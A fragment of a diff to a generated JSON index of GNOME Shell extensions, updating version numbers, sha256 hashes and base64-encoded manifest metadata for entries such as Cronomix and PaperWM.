+    "44": {"version": "17", "sha256": "08ximd3az2hp0lix2rlwabwwyvhxg53gnrk9szqm50l9ild4ngw7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgdGhlIGN1cnJlbnQgSGlqcmkgKElzbGFtaWMpIGRhdGUgaW4gdGhlIHRvcCBwYW5lbC4gQWxzbyBrbm93biBhcyB0aGUgSXNsYW1pYyBjYWxlbmRhciwgQXJhYmljIGRhdGUsIG9yIE11c2xpbSBsdW5hciBjYWxlbmRhciwgdGhpcyBleHRlbnNpb24gc2hvd3MgdGhlIHRyYWRpdGlvbmFsIElzbGFtaWMgZGF0aW5nIHN5c3RlbSB3aXRoIGN1c3RvbWl6YXRpb24gb3B0aW9ucy4iLAogICJuYW1lIjogIkhpanJpL0lzbGFtaWMvQXJhYmljIERhdGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0FtZWVuLVNoYS1DaGVlcmFuZ2FuL0hpanJpLURhdGUtR25vbWUtRXh0ZW5zaW9uIiwKICAidXVpZCI6ICJteS1oaWpyaS1kYXRlLWV4dGVuc2lvbkBhbWVlbi1zaGEiLAogICJ2ZXJzaW9uIjogMTcKfQ=="}
   }}
 , {"uuid": "quicksettings-audio-devices-renamer@marcinjahn.com", "name": "Quick Settings Audio Devices Renamer", "pname": "quick-settings-audio-devices-renamer", "description": "It lets you change the names of your audio devices in the Quick Settings Audio Panel. This works for both speakers and microphones. It's useful when you need to switch quickly between different audio devices and their default names aren't very clear or they're a bit too explicit. This extension makes it easy to customize devices names so that, e.g. \"Speaker - Family 17h/19h HD Audio Controller\" could become just \"Laptop Speakers\". Emojis are supported as well!\n\nCheck out the https://extensions.gnome.org/extension/5964/quick-settings-audio-devices-hider/ if some device should rather be hidden than renamed", "link": "https://extensions.gnome.org/extension/6000/quick-settings-audio-devices-renamer/", "shell_version_map": {
     "44": {"version": "2", "sha256": "1gnlzgxm67iyc41vqs2scc991b3df57b9z2mfg914c5d83a2nl94", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkl0IGxldHMgeW91IGNoYW5nZSB0aGUgbmFtZXMgb2YgeW91ciBhdWRpbyBkZXZpY2VzIGluIHRoZSBRdWljayBTZXR0aW5ncyBBdWRpbyBQYW5lbC4gVGhpcyB3b3JrcyBmb3IgYm90aCBzcGVha2VycyBhbmQgbWljcm9waG9uZXMuIEl0J3MgdXNlZnVsIHdoZW4geW91IG5lZWQgdG8gc3dpdGNoIHF1aWNrbHkgYmV0d2VlbiBkaWZmZXJlbnQgYXVkaW8gZGV2aWNlcyBhbmQgdGhlaXIgZGVmYXVsdCBuYW1lcyBhcmVuJ3QgdmVyeSBjbGVhciBvciB0aGV5J3JlIGEgYml0IHRvbyBleHBsaWNpdC4gVGhpcyBleHRlbnNpb24gbWFrZXMgaXQgZWFzeSB0byBjdXN0b21pemUgZGV2aWNlcyBuYW1lcyBzbyB0aGF0LCBlLmcuIFwiU3BlYWtlciAtIEZhbWlseSAxN2gvMTloIEhEIEF1ZGlvIENvbnRyb2xsZXJcIiBjb3VsZCBiZWNvbWUganVzdCBcIkxhcHRvcCBTcGVha2Vyc1wiLiBFbW9qaXMgYXJlIHN1cHBvcnRlZCBhcyB3ZWxsIVxuXG5DaGVjayBvdXQgdGhlIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzU5NjQvcXVpY2stc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1oaWRlci8gaWYgc29tZSBkZXZpY2Ugc2hvdWxkIHJhdGhlciBiZSBoaWRkZW4gdGhhbiByZW5hbWVkIiwKICAibmFtZSI6ICJRdWljayBTZXR0aW5ncyBBdWRpbyBEZXZpY2VzIFJlbmFtZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWFyY2luamFobi9nbm9tZS1xdWlja3NldHRpbmdzLWF1ZGlvLWRldmljZXMtcmVuYW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInF1aWNrc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1yZW5hbWVyQG1hcmNpbmphaG4uY29tIiwKICAidmVyc2lvbiI6IDIKfQ=="},
@@ -6936,14 +6957,14 @@
     "47": {"version": "6", "sha256": "1cgm1zwiqakyyyv8sk1lcjd35nx9b6224hrij08afs5gzb6siijm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkl0IGxldHMgeW91IGNoYW5nZSB0aGUgbmFtZXMgb2YgeW91ciBhdWRpbyBkZXZpY2VzIGluIHRoZSBRdWljayBTZXR0aW5ncyBBdWRpbyBQYW5lbC4gVGhpcyB3b3JrcyBmb3IgYm90aCBzcGVha2VycyBhbmQgbWljcm9waG9uZXMuIEl0J3MgdXNlZnVsIHdoZW4geW91IG5lZWQgdG8gc3dpdGNoIHF1aWNrbHkgYmV0d2VlbiBkaWZmZXJlbnQgYXVkaW8gZGV2aWNlcyBhbmQgdGhlaXIgZGVmYXVsdCBuYW1lcyBhcmVuJ3QgdmVyeSBjbGVhciBvciB0aGV5J3JlIGEgYml0IHRvbyBleHBsaWNpdC4gVGhpcyBleHRlbnNpb24gbWFrZXMgaXQgZWFzeSB0byBjdXN0b21pemUgZGV2aWNlcyBuYW1lcyBzbyB0aGF0LCBlLmcuIFwiU3BlYWtlciAtIEZhbWlseSAxN2gvMTloIEhEIEF1ZGlvIENvbnRyb2xsZXJcIiBjb3VsZCBiZWNvbWUganVzdCBcIkxhcHRvcCBTcGVha2Vyc1wiLiBFbW9qaXMgYXJlIHN1cHBvcnRlZCBhcyB3ZWxsIVxuXG5DaGVjayBvdXQgdGhlIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzU5NjQvcXVpY2stc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1oaWRlci8gaWYgc29tZSBkZXZpY2Ugc2hvdWxkIHJhdGhlciBiZSBoaWRkZW4gdGhhbiByZW5hbWVkIiwKICAibmFtZSI6ICJRdWljayBTZXR0aW5ncyBBdWRpbyBEZXZpY2VzIFJlbmFtZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYXJjaW5qYWhuL2dub21lLXF1aWNrc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1yZW5hbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAicXVpY2tzZXR0aW5ncy1hdWRpby1kZXZpY2VzLXJlbmFtZXJAbWFyY2luamFobi5jb20iLAogICJ2ZXJzaW9uIjogNgp9"},
     "48": {"version": "6", "sha256": "1cgm1zwiqakyyyv8sk1lcjd35nx9b6224hrij08afs5gzb6siijm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkl0IGxldHMgeW91IGNoYW5nZSB0aGUgbmFtZXMgb2YgeW91ciBhdWRpbyBkZXZpY2VzIGluIHRoZSBRdWljayBTZXR0aW5ncyBBdWRpbyBQYW5lbC4gVGhpcyB3b3JrcyBmb3IgYm90aCBzcGVha2VycyBhbmQgbWljcm9waG9uZXMuIEl0J3MgdXNlZnVsIHdoZW4geW91IG5lZWQgdG8gc3dpdGNoIHF1aWNrbHkgYmV0d2VlbiBkaWZmZXJlbnQgYXVkaW8gZGV2aWNlcyBhbmQgdGhlaXIgZGVmYXVsdCBuYW1lcyBhcmVuJ3QgdmVyeSBjbGVhciBvciB0aGV5J3JlIGEgYml0IHRvbyBleHBsaWNpdC4gVGhpcyBleHRlbnNpb24gbWFrZXMgaXQgZWFzeSB0byBjdXN0b21pemUgZGV2aWNlcyBuYW1lcyBzbyB0aGF0LCBlLmcuIFwiU3BlYWtlciAtIEZhbWlseSAxN2gvMTloIEhEIEF1ZGlvIENvbnRyb2xsZXJcIiBjb3VsZCBiZWNvbWUganVzdCBcIkxhcHRvcCBTcGVha2Vyc1wiLiBFbW9qaXMgYXJlIHN1cHBvcnRlZCBhcyB3ZWxsIVxuXG5DaGVjayBvdXQgdGhlIGh0dHBzOi8vZXh0ZW5zaW9ucy5nbm9tZS5vcmcvZXh0ZW5zaW9uLzU5NjQvcXVpY2stc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1oaWRlci8gaWYgc29tZSBkZXZpY2Ugc2hvdWxkIHJhdGhlciBiZSBoaWRkZW4gdGhhbiByZW5hbWVkIiwKICAibmFtZSI6ICJRdWljayBTZXR0aW5ncyBBdWRpbyBEZXZpY2VzIFJlbmFtZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYXJjaW5qYWhuL2dub21lLXF1aWNrc2V0dGluZ3MtYXVkaW8tZGV2aWNlcy1yZW5hbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAicXVpY2tzZXR0aW5ncy1hdWRpby1kZXZpY2VzLXJlbmFtZXJAbWFyY2luamFobi5jb20iLAogICJ2ZXJzaW9uIjogNgp9"}
   }}
-, {"uuid": "cronomix@zagortenay333", "name": "Cronomix", "pname": "cronomix", "description": "All-in-one timer, stopwatch, pomodoro, alarms and todos", "link": "https://extensions.gnome.org/extension/6003/cronomix/", "shell_version_map": {
+, {"uuid": "cronomix@zagortenay333", "name": "Cronomix", "pname": "cronomix", "description": "All-in-one timer, stopwatch, pomodoro, alarms and todo", "link": "https://extensions.gnome.org/extension/6003/cronomix/", "shell_version_map": {
     "42": {"version": "6", "sha256": "10izaph3dg2dcqrzk4ffw10fdv41gvrggidnb236zc89437pp91j", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJuYW1lIjogIkNyb25vbWl4IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiA2Cn0="},
     "43": {"version": "6", "sha256": "10izaph3dg2dcqrzk4ffw10fdv41gvrggidnb236zc89437pp91j", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJuYW1lIjogIkNyb25vbWl4IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiA2Cn0="},
     "44": {"version": "6", "sha256": "10izaph3dg2dcqrzk4ffw10fdv41gvrggidnb236zc89437pp91j", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJuYW1lIjogIkNyb25vbWl4IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiA2Cn0="},
     "45": {"version": "8", "sha256": "1ki0m31jm9j642nrz7njkhqr1bv8yrqgi6nbfql0zxphdrbsa8mc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJjcm9ub21peCIsCiAgIm5hbWUiOiAiQ3Jvbm9taXgiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiA4Cn0="},
     "46": {"version": "11", "sha256": "0l00b7ri30q1iknan7q45hs4qax6yhxhg5x721shr90g44y34rgb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJjcm9ub21peCIsCiAgIm5hbWUiOiAiQ3Jvbm9taXgiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3phZ29ydGVuYXkzMzMvY3Jvbm9taXgiLAogICJ1dWlkIjogImNyb25vbWl4QHphZ29ydGVuYXkzMzMiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
     "47": {"version": "11", "sha256": "0l00b7ri30q1iknan7q45hs4qax6yhxhg5x721shr90g44y34rgb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJjcm9ub21peCIsCiAgIm5hbWUiOiAiQ3Jvbm9taXgiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3phZ29ydGVuYXkzMzMvY3Jvbm9taXgiLAogICJ1dWlkIjogImNyb25vbWl4QHphZ29ydGVuYXkzMzMiLAogICJ2ZXJzaW9uIjogMTEKfQ=="},
-    "48": {"version": "18", "sha256": "0ypa6a4srcl0r0lmi11ndqwxapi23sa3aypx6kc8bfpz1jn0gccc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJjcm9ub21peCIsCiAgIm5hbWUiOiAiQ3Jvbm9taXgiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiAxOAp9"}
+    "48": {"version": "19", "sha256": "0504gq9n11vvpl34p0kinwynhi60cgbm3fcgd59fkkdm66nbxlw2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbC1pbi1vbmUgdGltZXIsIHN0b3B3YXRjaCwgcG9tb2Rvcm8sIGFsYXJtcyBhbmQgdG9kb3MiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJjcm9ub21peCIsCiAgIm5hbWUiOiAiQ3Jvbm9taXgiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vemFnb3J0ZW5heTMzMy9jcm9ub21peCIsCiAgInV1aWQiOiAiY3Jvbm9taXhAemFnb3J0ZW5heTMzMyIsCiAgInZlcnNpb24iOiAxOQp9"}
   }}
 , {"uuid": "switchlayoutaltshift@seriyyy95.com", "name": "SwitchLayoutAltShift", "pname": "switchlayoutaltshift", "description": "Allows to switch input source using Alt+Shift", "link": "https://extensions.gnome.org/extension/6006/switchlayoutaltshift/", "shell_version_map": {
     "42": {"version": "2", "sha256": "0c1v3kw5kg7gk81hr1xjpj9h4xk0yz02b35dfd906ap0x62sq4wa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsbG93cyB0byBzd2l0Y2ggaW5wdXQgc291cmNlIHVzaW5nIEFsdCtTaGlmdCIsCiAgIm5hbWUiOiAiU3dpdGNoTGF5b3V0QWx0U2hpZnQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuc3dpdGNobGF5b3V0YWx0c2hpZnQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9TZXJpeXl5OTUvc3dpdGNobGF5b3V0YWx0c2hpZnQuZ2l0IiwKICAidXVpZCI6ICJzd2l0Y2hsYXlvdXRhbHRzaGlmdEBzZXJpeXl5OTUuY29tIiwKICAidmVyc2lvbiI6IDIKfQ=="},
@@ -7078,13 +7099,13 @@
     "48": {"version": "11", "sha256": "1rjm4izr3c0ylwahx49vm3xy2njg8ggydbbvrf3psy9y4q1z0z7q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkF1dG9tYXRpY2FsbHkgcGFzdGUgRW1vamlzIGZyb20gdGhlIFNtaWxlIGVtb2ppIHBpY2tlciIsCiAgIm5hbWUiOiAiU21pbGUgLSBjb21wbGVtZW50YXJ5IGV4dGVuc2lvbiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9taWpvcnVzL3NtaWxlLWdub21lLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic21pbGUtZXh0ZW5zaW9uQG1pam9ydXMuaXQiLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
   }}
 , {"uuid": "paperwm@paperwm.github.com", "name": "PaperWM", "pname": "paperwm", "description": "Tiling window manager with a twist!\n\n PaperWM is a Gnome Shell extension which provides scrollable tiling of windows and per monitor workspaces. It's inspired by paper notebooks and tiling window managers.\n\nPlease see our github page to report issues, understand features, and learn how to configure PaperWM to your liking.", "link": "https://extensions.gnome.org/extension/6099/paperwm/", "shell_version_map": {
-    "42": {"version": "101", "sha256": "1f88bvkwdvvp35ih4spxkff11n30blh043dr1xnihw8hh78bwphi", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTAxLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMCIKfQ=="},
-    "43": {"version": "101", "sha256": "1f88bvkwdvvp35ih4spxkff11n30blh043dr1xnihw8hh78bwphi", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTAxLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMCIKfQ=="},
-    "44": {"version": "101", "sha256": "1f88bvkwdvvp35ih4spxkff11n30blh043dr1xnihw8hh78bwphi", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTAxLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMCIKfQ=="},
-    "45": {"version": "138", "sha256": "1n6ygg1p5wkvqgrc23hb9lg3ffzhywhjkf75cpzdws0dk0abn751", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzOCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMSIKfQ=="},
-    "46": {"version": "138", "sha256": "1n6ygg1p5wkvqgrc23hb9lg3ffzhywhjkf75cpzdws0dk0abn751", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzOCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMSIKfQ=="},
-    "47": {"version": "138", "sha256": "1n6ygg1p5wkvqgrc23hb9lg3ffzhywhjkf75cpzdws0dk0abn751", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzOCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMSIKfQ=="},
-    "48": {"version": "138", "sha256": "1n6ygg1p5wkvqgrc23hb9lg3ffzhywhjkf75cpzdws0dk0abn751", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9wYXBlcndtL1BhcGVyV00iLAogICJ1dWlkIjogInBhcGVyd21AcGFwZXJ3bS5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEzOCwKICAidmVyc2lvbi1uYW1lIjogIjQ4LjAuMSIKfQ=="}
+    "42": {"version": "140", "sha256": "1n4gilaz0iaf2xgd1ns6pbh5fqjcsbnmgvkcac4py8z8nc7n2lhh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRpbGluZyB3aW5kb3cgbWFuYWdlciB3aXRoIGEgdHdpc3QiLAogICJuYW1lIjogIlBhcGVyV00iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGFwZXJ3bSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BhcGVyd20vUGFwZXJXTSIsCiAgInV1aWQiOiAicGFwZXJ3bUBwYXBlcndtLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTQwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDQuMTguMSIKfQ=="},
